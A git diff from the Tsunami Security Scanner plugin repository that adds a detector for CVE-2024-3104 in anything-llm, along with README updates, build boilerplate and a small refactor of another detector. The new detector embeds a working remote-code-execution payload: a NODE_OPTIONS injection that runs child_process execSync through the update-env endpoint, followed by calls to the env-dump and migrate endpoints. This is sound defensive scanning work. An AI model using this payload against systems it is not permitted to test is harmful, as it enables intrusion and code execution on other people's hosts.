diff --git a/README.md b/README.md index d51b22dcd..a6b7659da 100644 --- a/README.md +++ b/README.md @@ -3,10 +3,39 @@ This project aims to provide a central repository for many useful Tsunami Security Scanner plugins. +## Tsunami's documentation + +To learn more about Tsunami, visit our +[documentation](https://google.github.io/tsunami-security-scanner/). + ## Contributing Read how to [contribute to Tsunami](docs/contributing.md). +## Currently released Tsunami plugins + +### Detectors +#### AI Relevant OSS +* [Pytorch Serve Expose API Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/exposedui/pytorch_serve) +* [Ray CVE-2023-48022 Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/ai/cve202348022) +* [Ray CVE-2023-6019 Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/ai/cve20236019) +* [H2O CVE-2023-6018 Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/ai/cve20236018) +* [MLflow CVE-2023-6977 & CVE-2023-1177 & CVE-2023-2780 Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/mlflow_cve_2023_6977) +* [MLflow CVE-2023-6014 Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/mlflow_cve_2023_6014) +* [MLflow Weak Credential Detector](https://github.com/google/tsunami-security-scanner-plugins/blob/master/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/mlflow/MlFlowCredentialTester.java) +* [Argo Workflow Exposed API Detector](https://github.com/google/tsunami-security-scanner-plugins/blob/master/google/detectors/exposedui/argoworkflow/) +* [MinIO Sensitive Info Disclosure Detector](https://github.com/google/tsunami-security-scanner-plugins/blob/master/community/detectors/minio_cve_2023_28432/) +* [Gradio CVE-2023-51449 Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/gradio_cve_2023_51449) +* [Apache Spark CVE-2022-33891 Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/apache_spark_cve_2022_33891) +* [Apache Spark Expose UI Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/apache_spark_exposed_webui) +* [Apache Spark Exposed API Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/rce/apache_spark_exposed_api) +* [Apache Airflow CVE-2020-17526 Auth Bypass RCE](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/apache_airflow_cve_2020_17526) +* [Triton Inference Server RCE](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/triton_inference_server_model_overwrite) +* [Intel Neural Compressor CVE-2024-22476 RCE Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/intel_neural_compressor_cve_2024_22476) +* [ZenML Weak Credential Detector](https://github.com/google/tsunami-security-scanner-plugins/blob/master/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/zenml/ZenMlCredentialTester.java) +* [Argo CD Exposed UI](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/argocd_exposed_ui) +* [Airflow Exposed UI](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/apache_airflow_exposed_ui) + ## Source Code Headers Every file containing source code must include copyright and license diff --git a/community/README.md b/community/README.md index d0e0e9866..0d30dc47b 100644 --- a/community/README.md +++ b/community/README.md @@ -31,6 +31,7 @@ This directory contains plugins contributed by community members. (CVE-2021-26084) Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/confluence_cve_2021_26084) * [CVE-2022-22965 Spring Framework RCE (CVE-2022-22965) Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/spring_framework_cve_2022_22965) +* [CVE-2022-36804 Bitbucket Server RCE via command injection](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/bitbucket_cve_2022_36804) * [Spring Cloud Function CVE-2022-22963 VulnDetector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/spring_cloud_function_cve_2022_22963) * [Apache Spark Exposed API VulnDetector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/rce/apache_spark_exposed_api) diff --git a/community/detectors/adselfservice_plus_cve_2021_40539/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202140539/Cve202140539VulnDetector.java b/community/detectors/adselfservice_plus_cve_2021_40539/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202140539/Cve202140539VulnDetector.java index 11b0df7d9..443b7a27c 100644 --- a/community/detectors/adselfservice_plus_cve_2021_40539/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202140539/Cve202140539VulnDetector.java +++ b/community/detectors/adselfservice_plus_cve_2021_40539/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202140539/Cve202140539VulnDetector.java @@ -18,7 +18,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.post; import com.google.common.annotations.VisibleForTesting; @@ -82,26 +81,6 @@ public final class Cve202140539VulnDetector implements VulnDetector { this.utcClock = checkNotNull(utcClock); } - private static boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService) - || NetworkServiceUtils.getServiceName(networkService).equals("sun-answerbook"); - } - - private static StringBuilder buildTarget(NetworkService networkService) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - targetUrlBuilder - .append("http://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - targetUrlBuilder.append(VUL_PATH); - return targetUrlBuilder; - } - @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -110,7 +89,7 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(Cve202140539VulnDetector::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) @@ -118,7 +97,8 @@ public DetectionReportList detect( } private boolean isServiceVulnerable(NetworkService networkService) { - String targetVulnerabilityUrl = buildTarget(networkService).toString(); + String targetVulnerabilityUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH; try { HttpResponse httpResponse = httpClient.sendAsIs( diff --git a/community/detectors/anything_llm_cve_2024_3104/README.md b/community/detectors/anything_llm_cve_2024_3104/README.md new file mode 100644 index 000000000..3e7ab16b9 --- /dev/null +++ b/community/detectors/anything_llm_cve_2024_3104/README.md @@ -0,0 +1,25 @@ +# Anything-llm CVE-2024-3104 Detector + +A remote code execution vulnerability exists in mintplex-labs/anything-llm due +to improper handling of environment variables. Attackers can exploit this +vulnerability by injecting arbitrary environment variables via the POST +/api/system/update-env endpoint, which allows for the execution of arbitrary +code on the host running anything-llm. The vulnerability is present in the +latest version of anything-llm, with the latest commit identified as +fde905aac1812b84066ff72e5f2f90b56d4c3a59. This issue has been fixed in version +1.0.0. Successful exploitation could lead to code execution on the host, +enabling attackers to read and modify data accessible to the user running the +service, potentially leading to a denial of service. + +- https://huntr.com/bounties/4f2fcb45-5828-4bec-985a-9d3a0ee00462 +- https://vulners.com/nvd/NVD:CVE-2024-3104 + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/anything_llm_cve_2024_3104/build.gradle b/community/detectors/anything_llm_cve_2024_3104/build.gradle new file mode 100644 index 000000000..4c637c859 --- /dev/null +++ b/community/detectors/anything_llm_cve_2024_3104/build.gradle @@ -0,0 +1,68 @@ +plugins { + id 'java-library' +} + +description = 'Tsunami CVE-2024-3104 VulnDetector plugin.' +group 'com.google.tsunami' +version '0.0.1-SNAPSHOT' + + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/javase/8/docs/api/' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13' + mockitoVersion = '2.28.2' + truthVersion = '1.0.1' + okhttpVersion = '3.12.0' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + + testImplementation "junit:junit:${junitVersion}" + testImplementation "org.mockito:mockito-core:${mockitoVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" +} \ No newline at end of file diff --git a/community/detectors/anything_llm_cve_2024_3104/gradle/wrapper/gradle-wrapper.jar b/community/detectors/anything_llm_cve_2024_3104/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..2c3521197 Binary files /dev/null and b/community/detectors/anything_llm_cve_2024_3104/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.properties b/community/detectors/anything_llm_cve_2024_3104/gradle/wrapper/gradle-wrapper.properties similarity index 100% rename from community/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.properties rename to community/detectors/anything_llm_cve_2024_3104/gradle/wrapper/gradle-wrapper.properties diff --git a/community/detectors/anything_llm_cve_2024_3104/gradlew b/community/detectors/anything_llm_cve_2024_3104/gradlew new file mode 100755 index 000000000..f5feea6d6 --- /dev/null +++ b/community/detectors/anything_llm_cve_2024_3104/gradlew @@ -0,0 +1,252 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s +' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/community/detectors/anything_llm_cve_2024_3104/gradlew.bat b/community/detectors/anything_llm_cve_2024_3104/gradlew.bat new file mode 100644 index 000000000..9d21a2183 --- /dev/null +++ b/community/detectors/anything_llm_cve_2024_3104/gradlew.bat @@ -0,0 +1,94 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/community/detectors/anything_llm_cve_2024_3104/settings.gradle b/community/detectors/anything_llm_cve_2024_3104/settings.gradle new file mode 100644 index 000000000..c04093fc6 --- /dev/null +++ b/community/detectors/anything_llm_cve_2024_3104/settings.gradle @@ -0,0 +1,10 @@ +/* + * This file was generated by the Gradle 'init' task. + * + * The settings file is used to specify which projects to include in your build. + * + * Detailed information about configuring a multi-project build in Gradle can be found + * in the user manual at https://docs.gradle.org/6.0/userguide/multi_project_builds.html + */ + +rootProject.name = 'CVE-2024-3104' diff --git a/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104DetectorBootstrapModule.java b/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104DetectorBootstrapModule.java new file mode 100644 index 000000000..54a8203e2 --- /dev/null +++ b/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104DetectorBootstrapModule.java @@ -0,0 +1,27 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve20243104; + +import com.google.tsunami.plugin.PluginBootstrapModule; + +/** A CVE-2024-3104 Guice module that bootstraps the {@link Cve20243104VulnDetector}. */ +public class Cve20243104DetectorBootstrapModule extends PluginBootstrapModule { + @Override + protected void configurePlugin() { + registerPlugin(Cve20243104VulnDetector.class); + } +} diff --git a/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetector.java b/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetector.java new file mode 100644 index 000000000..c3b36352c --- /dev/null +++ b/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetector.java @@ -0,0 +1,256 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve20243104; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; +import static com.google.tsunami.common.net.http.HttpRequest.get; +import static com.google.tsunami.common.net.http.HttpRequest.post; + +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.ForWebService; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import javax.inject.Inject; + +/** A {@link VulnDetector} that detects the CVE-2024-3104 vulnerability. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "CVE-2024-3104 Detector", + version = "0.1", + description = "Checks for occurrences of CVE-2024-3104 in the anything-llm instances.", + author = "frkngksl", + bootstrapModule = Cve20243104DetectorBootstrapModule.class) +@ForWebService +public final class Cve20243104VulnDetector implements VulnDetector { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + + private final Clock utcClock; + private final PayloadGenerator payloadGenerator; + + private static final String PAYLOAD_BODY = + "{\"LocalAiBasePath\":\"http://example.com/v1'\\n" + + "NODE_OPTIONS='--import=\\\"data:text/javascript,import exec from" + + " \\\\\\\"node:child_process\\\\\\\";exec.execSync(\\\\\\\"{{CALLBACK_PAYLOAD}}\\\\\\\")\\\"\"}"; + + private static final String VUL_PATH_STEP_1 = "api/system/update-env"; + private static final String VUL_PATH_STEP_2 = "api/env-dump"; + private static final String VUL_PATH_STEP_3 = "api/migrate"; + + private static final Duration BATCH_REQUEST_WAIT_AFTER_TIMEOUT = Duration.ofSeconds(5); + private final HttpClient httpClient; + + @Inject + Cve20243104VulnDetector( + @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { + this.utcClock = checkNotNull(utcClock); + this.httpClient = + checkNotNull(httpClient, "HttpClient cannot be null.") + .modify() + .setFollowRedirects(false) + .build(); + this.payloadGenerator = checkNotNull(payloadGenerator, "PayloadGenerator cannot be null."); + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(this::isWebServiceOrUnknownService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + private boolean checkNeuralSolutionFingerprint(NetworkService networkService) { + String targetWebAddress = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + var request = HttpRequest.get(targetWebAddress).withEmptyHeaders().build(); + + try { + HttpResponse response = httpClient.send(request, networkService); + return response.status().isSuccess() + && response + .bodyString() + .map( + body -> + body.contains( + "AnythingLLM | Your personal LLM trained on anything")) + .orElse(false); + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + } + + private boolean isWebServiceOrUnknownService(NetworkService networkService) { + return NetworkServiceUtils.isWebService(networkService) + && checkNeuralSolutionFingerprint(networkService); + } + + private boolean sendFirstStepRequest(NetworkService networkService, Payload payload) { + String targetVulnerabilityUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH_STEP_1; + String requestBody = PAYLOAD_BODY.replace("{{CALLBACK_PAYLOAD}}", payload.getPayload()); + try { + HttpResponse httpResponse = + httpClient.send( + post(targetVulnerabilityUrl) + .setHeaders( + HttpHeaders.builder() + .addHeader(CONTENT_TYPE, "text/plain;charset=UTF-8") + .build()) + .setRequestBody(ByteString.copyFromUtf8(requestBody)) + .build(), + networkService); + logger.atInfo().log("First Step Response: %s", httpResponse.bodyString().get()); + Uninterruptibles.sleepUninterruptibly(BATCH_REQUEST_WAIT_AFTER_TIMEOUT); + return httpResponse.status().isSuccess() + && httpResponse.bodyString().map(body -> body.contains("\"error\":false")).orElse(false); + + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + } + + private boolean sendSecondStepRequest(NetworkService networkService) { + String targetVulnerabilityUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH_STEP_2; + + try { + HttpResponse httpResponse = + httpClient.send(get(targetVulnerabilityUrl).withEmptyHeaders().build(), networkService); + logger.atInfo().log("Second Step Response: %s", httpResponse.bodyString().get()); + return httpResponse.status().isSuccess() + && httpResponse.bodyString().map(body -> body.matches("OK")).orElse(false); + + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + } + + private boolean sendThirdStepRequest(NetworkService networkService) { + String targetVulnerabilityUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH_STEP_3; + try { + HttpResponse httpResponse = + httpClient.send(get(targetVulnerabilityUrl).withEmptyHeaders().build(), networkService); + logger.atInfo().log("Third Step Response: %s", httpResponse.bodyString().get()); + return httpResponse.status().isSuccess() + && httpResponse.bodyString().map(body -> body.matches("OK")).orElse(false); + + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + } + + private boolean isServiceVulnerable(NetworkService networkService) { + Payload payload = generateCallbackServerPayload(); + // 